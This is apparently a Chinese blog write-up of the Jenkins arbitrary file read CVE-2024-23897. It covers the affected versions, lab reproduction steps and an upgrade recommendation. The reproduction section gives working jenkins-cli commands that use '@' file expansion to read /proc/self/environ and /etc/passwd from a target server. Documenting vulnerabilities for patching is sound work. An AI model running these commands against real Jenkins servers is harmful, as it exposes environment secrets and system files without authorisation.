当前位置: 首页 > article >正文

Jenkins 任意文件读取(CVE-2024-23897)修复及复现

Jenkins任意文件读取漏洞CVE-2024-23897修复及复现

  • 漏洞详情
  • 影响范围
  • 漏洞复现
  • 修复建议

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。

漏洞详情

Jenkins 有一个内置的命令行界面(CLI),可从脚本或 shell 环境访问 Jenkins。处理 CLI 命令时, Jenkins 使用args4j库解析 Jenkins 控制器上的命令参数和选项。

近日,Jenkins 处理 CLI 命令的命令解析器中的 expandAtFile 功能存在任意文件读取漏洞,未经身份认证的远程攻击者利用该漏洞可以读取部分文件的有限行内容,攻击者经过身份验证或目标 Jenkins 更改了默认 “Security” 配置可以通过该漏洞读取任意文件,攻击者进一步利用该漏洞并结合其他功能可能导致任意代码执行。

影响范围

Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2

漏洞复现

1、访问http://靶场IP:8080 显示Jenkins页面
首页
2、下载官方提供的命令行客户端

wget http://IP:8080/jnlpJars/jenkins-cli.jar

下载cli
3、使用该工具读取目标服务器的/proc/self/environ文件

java -jar jenkins-cli.jar -s http://IP:8080/ -http help 1 "@/proc/self/environ"

读取文件

4、使用该工具读取目标服务器的/etc/passwd文件

java -jar jenkins-cli.jar -s http://IP:8080/ who-am-i @/etc/passwd

读取passwd
5、java不兼容
如出现下图情况为java版本不兼容,卸载本机旧java,然后安装新版兼容的java版本即可。
不兼容

修复建议

升级至安全版本
参考链接:https://www.jenkins.io/security/advisory/2024-01-24/#SECURITY-3314
官网下载:https://www.jenkins.io/download/


http://www.kler.cn/a/453419.html

相关文章:

  • 【Vue3学习】使用ref调用子组件的方法,实现子组件的显示与隐藏
  • HarmonyOS NEXT 实战之元服务:静态案例效果---歌单推荐
  • 如何在 Linux 上使用 Rsync 同步本地和远程目录
  • 机器学习之pandas
  • 多功能jquery图片预览放大镜插件
  • 【C++动态规划】1105. 填充书架|2104
  • Unity功能模块一对话系统(1)前置准备
  • 08-排序
  • 题目解析与Python实现:D. Lizards and Basements 2
  • 【golang】map遍历注意事项
  • JVM【Java虚拟机】基础知识(五)
  • ChatGPT与Postman协作完成接口测试(三)
  • 【人工智能】基于Python与Keras的图像风格迁移实现与解析
  • 典型常见的基于知识蒸馏的目标检测方法总结一
  • 每天40分玩转Django:Django部署概述
  • 用微软365邮箱收发邮件【azure-应用注册】
  • 如何通过HTTP API检索Doc
  • 3D坐标下,一点在某一线段上的左右方向的判定
  • 图论基础算法/DFS+BFS+Trie树
  • 【MyBatis 核心工作机制】注解式开发与动态代理原理